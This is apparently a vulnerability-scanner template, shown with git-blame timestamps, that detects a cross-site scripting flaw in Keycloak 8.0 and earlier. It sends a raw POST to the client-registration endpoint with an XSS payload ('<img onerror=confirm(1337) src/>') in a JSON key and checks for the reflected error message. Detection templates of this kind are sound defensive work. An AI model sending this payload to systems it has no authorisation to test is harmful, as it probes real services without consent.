2021-02-01 16:47:31 +00:00
|
|
|
id: keycloak-xss
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Keycloak <= 8.0 - Cross Site Scripting
|
|
|
|
author: incogbyte
|
2021-10-09 03:16:17 +00:00
|
|
|
severity: info
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://cure53.de/pentest-report_keycloak.pdf
|
2021-02-12 05:53:01 +00:00
|
|
|
tags: keycloak,xss
|
2021-02-01 16:47:31 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /auth/realms/master/clients-registrations/openid-connect HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/json
|
|
|
|
|
|
|
|
{"<img onerror=confirm(1337) src/>":1}
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 400
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- 'Unrecognized field "<img onerror=confirm(1337) src/>"'
|